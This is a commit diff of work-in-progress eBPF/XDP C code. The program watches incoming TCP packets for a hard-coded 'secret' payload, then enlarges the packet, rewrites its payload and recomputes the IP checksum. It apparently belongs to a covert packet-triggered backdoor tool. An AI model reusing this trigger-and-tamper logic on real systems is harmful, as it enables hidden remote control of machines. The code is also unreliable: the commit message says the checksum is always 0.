Arbitrary payload expansion is now working. IP checksum recomputation needs a revision, it is always 0...

This commit is contained in:
h3xduck
2021-11-25 20:30:15 -05:00
parent 253c302695
commit ca23880fd4
9 changed files with 940 additions and 609 deletions

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -14,7 +14,6 @@
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <string.h>
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
@@ -62,7 +61,7 @@ int xdp_receive(struct xdp_md *ctx)
void *data_end = (void *)(long)ctx->data_end;
void *data = (void *)(long)ctx->data;
char match_pattern[] = SECRET_PACKET_PAYLOAD;
int match_pattern_size = strlen(match_pattern);
int match_pattern_size = 5;
unsigned int payload_size;
struct ethhdr *eth = data;
char *payload;
@@ -107,7 +106,6 @@ int xdp_receive(struct xdp_md *ctx)
return XDP_PASS;
}
// Point to start of payload.
if (tcp_payload_bound_check(payload, payload_size, data_end)){
bpf_printk("G");
return XDP_PASS;
@@ -115,18 +113,20 @@ int xdp_receive(struct xdp_md *ctx)
bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size);
// Compare each byte, exit if a difference is found.
if(str_n_compare(payload, payload_size, match_pattern, match_pattern_size, payload_size)!=0){
if(str_n_compare(payload, payload_size, match_pattern, sizeof(match_pattern), payload_size)!=0){
bpf_printk("H");
return XDP_PASS;
}
int data_len_prev = data_end-data;
int data_len_next = -1;
bpf_printk("OLD data_end: %i, payload: %i\n", data_end, payload);
struct expand_return ret = expand_tcp_packet_payload(ctx, eth, ip, tcp, 2);
if(ret.code == 0){
//We must check bounds again, otherwise the verifier gets angry
data = (void*)(long)ret.ret_md.data;
data_end = (void*)(long)ret.ret_md.data_end;
ctx = ret.ret_md;
data = (void*)(long)ret.ret_md->data;
data_end = (void*)(long)ret.ret_md->data_end;
eth = ret.eth;
if(ethernet_header_bound_check(eth, data_end)<0){
bpf_printk("Bound check A failed while expanding\n");
@@ -152,21 +152,49 @@ int xdp_receive(struct xdp_md *ctx)
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = (void *)tcp + tcp->doff*4;
//Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload
//Line 6367 https://lxr.missinglinkelectronics.com/linux/kernel/bpf/verifier.c
if(payload_size < 0|| payload_size>88888){
bpf_printk("exploding heavily\n");
return XDP_PASS;
}
if(payload_size -1 < data_end - (void*)payload ){
return XDP_PASS;
}
/*if (tcp_payload_bound_check(payload, payload_size, data_end)){
//Revise this, the idea is to use payload_size, but th everifier keeps thinking it will go out of bounds
//Also, note that sizeof(..) is returning strlen +1, but it's ok because
//we do not want to write at payload[6]
if((void*)payload + sizeof(SECRET_PACKET_PAYLOAD) +1 > data_end){
bpf_printk("Bound check E failed while expanding\n");
return XDP_PASS;
}*/
}
if (tcp_payload_bound_check(payload, payload_size, data_end)){
bpf_printk("Bound check F failed while expanding\n");
return XDP_PASS;
}
char* temp_data = (char*)payload;
payload[5] = 'a';
bpf_printk("BPF finished with ret %i and payload %s of size %i\n ", ret.code, payload, payload_size);
}else{
bpf_printk("BPF finished with error on expansion\n");
}
data_len_next = data_end-data;
bpf_printk("Previous length: %i, current length: %i\n", data_len_prev, data_len_next);
//char payload_to_write[] = "hello";
//__builtin_memcpy(payload, payload_to_write, strlen(payload_to_write));
bpf_printk("NEW data_end: %i, payload: %i\n", data_end, payload);
bpf_printk("And on NEW CTX data_end: %i, payload: %i\n", ctx->data_end);
char payload_to_write[] = "hello";
/*if (tcp_payload_bound_check(payload, payload_size, data_end)){
bpf_printk("G");
return XDP_PASS;
}*/
//payload[1] = 'a';
//strncpy(payload, payload_to_write, sizeof(payload_to_write));
//payload[5] = '\0';
//payload[1] = 'b';
/*if(!payload){

View File

@@ -31,5 +31,33 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
return 0;
}
/**
* Implementation of strncpy from the Linux Kernel.
* strncpy - Copy a length-limited, C-string
* @dest: Where to copy the string to
* @src: Where to copy the string from
* @count: The maximum number of bytes to copy
*
* The result is not %NUL-terminated if the source exceeds
* @count bytes.
*
* In the case where the length of @src is less than that of
* count, the remainder of @dest will be padded with %NUL.
*
*/
static __always_inline char* str_n_copy(char *dest, const char *src, int count){
char *tmp = dest;
while (count) {
if ((*tmp = *src) != 0)
src++;
tmp++;
count--;
}
return dest;
}
#endif

View File

@@ -3,6 +3,7 @@
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/if.h>
#include <linux/limits.h>
/* BOUND CHECKING*/
@@ -28,7 +29,7 @@ static __always_inline int tcp_header_bound_check(struct tcphdr* tcp, void* data
}
static __always_inline int tcp_payload_bound_check(char* payload, int payload_size, void* data_end){
if ((void *)payload + payload_size > data_end){
if ((void*)payload + payload_size > data_end){
return -1;
}
return 0; //OK

View File

@@ -2,6 +2,11 @@
#define __IP_HELPER_H__
#include <linux/ip.h>
#include <linux/types.h>
#include <linux/bpf.h>
#include <bpf/bpf_endian.h>
#include <bpf/bpf_helpers.h>
/**
* IP checksum calculation.
@@ -28,4 +33,31 @@ static __always_inline unsigned short checksum(unsigned short *addr, int nbytes)
return checksum;
}
static __always_inline uint16_t csum_fold_helper(uint32_t csum)
{
bpf_printk("csumA: %u\n", csum & 0xffff);
bpf_printk("csumB: %u\n", csum >> 16);
bpf_printk("csumA+B: %u\n", (csum & 0xffff) + (csum >> 16));
bpf_printk("csumNEG(A+B): %u\n", ~((csum & 0xffff) + (csum >> 16)));
#pragma unroll
for (int ii = 0; ii < 4; ii++) {
if (csum >> 16)
csum = (csum & 0xffff) + (csum >> 16);
}
return ~csum;
}
/**
* IP checksum calculation.
* Following RFC 1071, using BPFs.*
*/
static __always_inline void ipv4_csum(void *data_start, int data_size, uint32_t *csum)
{
bpf_printk("csum: %u\n", *csum);
*csum = bpf_csum_diff(0, 0, data_start, data_size, *csum);
bpf_printk("csum: %u\n", *csum);
*csum = csum_fold_helper(*csum);
bpf_printk("csum: %u\n", *csum);
}
#endif

View File

@@ -1,6 +1,8 @@
#ifndef __XDP_HELPER_H__
#define __XDP_HELPER_H__
#include <linux/types.h>
#include <bpf/bpf_helpers.h>
#include "packet/protocol/ip_helper.h"
@@ -9,7 +11,7 @@
static struct expand_return{
int code;
struct xdp_md ret_md;
struct xdp_md *ret_md;
void *data;
void *data_end;
struct ethhdr *eth;
@@ -81,10 +83,13 @@ static __always_inline struct expand_return expand_tcp_packet_payload(struct xdp
//We modify the fields we care about of the headers
bpf_printk("before: %i\n", ret.ip->tot_len);
bpf_printk("before: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
ret.ip->tot_len = htons(ntohs(ret.ip->tot_len) + more_bytes);
bpf_printk("after: %i\n", ret.ip->tot_len);
ret.ret_md = *ctx;
uint32_t csum = 0;
ipv4_csum(ret.ip, sizeof(struct iphdr), &csum);
ret.ip->check = csum;
bpf_printk("after: %i, checksum %u\n", ret.ip->tot_len, ret.ip->check);
ret.ret_md = ctx;
ret.code = 0;
ret.data = (void *)(long)ctx->data;
ret.data_end = (void *)(long)ctx->data_end;